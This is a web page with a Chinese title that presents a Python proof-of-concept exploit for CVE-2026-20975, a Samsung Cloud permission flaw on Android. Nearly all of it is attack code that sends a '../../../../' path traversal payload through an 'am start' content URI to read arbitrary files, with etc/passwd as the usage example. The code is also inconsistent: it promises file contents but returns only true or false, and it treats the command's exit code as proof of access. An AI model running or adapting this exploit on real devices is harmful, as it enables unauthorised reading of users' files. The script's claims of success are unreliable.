CVE-2026-20975: Samsung Cloud权限处理不当导致本地文件访问漏洞

# CVE-2026-20975 PoC - Samsung Cloud Local File Access # This PoC demonstrates the improper permission handling in Samsung Cloud # Environment: Android device with Samsung Cloud < 5.6.11 import os import sys import subprocess def exploit_samsung_cloud(target_path): """ Exploit improper permission handling in Samsung Cloud Allows local attacker to access arbitrary files Args: target_path: Path to the file attacker wants to access Returns: File contents if successful, None otherwise """ # Path traversal payload for Samsung Cloud # The vulnerability allows bypassing permission checks malicious_path = f"../../../../{target_path}" try: # Attempt to access file through Samsung Cloud service # Using content provider or file access API result = subprocess.run([ "am", "start", "--user", "0", "-a", "android.intent.action.VIEW", "-d", f"content://com.samsung.android.cloud/.{malicious_path}" ], capture_output=True, timeout=10) # Alternative method using ADB if available # adb shell content query --uri content://com.samsung.android.cloud/files --projection '* FROM files' print(f"[*] Attempting to access: {target_path}") print(f"[*] Using path traversal: {malicious_path}") # Check if the access was successful if result.returncode == 0: print("[+] File access successful - Permission check bypassed") return True else: print("[-] Access failed - May require specific conditions") return False except subprocess.TimeoutExpired: print("[-] Request timed out") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-20975.py <target_file_path>") print("Example: python cve-2026-20975.py etc/passwd") sys.exit(1) target = sys.argv[1] exploit_samsung_cloud(target) if __name__ == "__main__": main()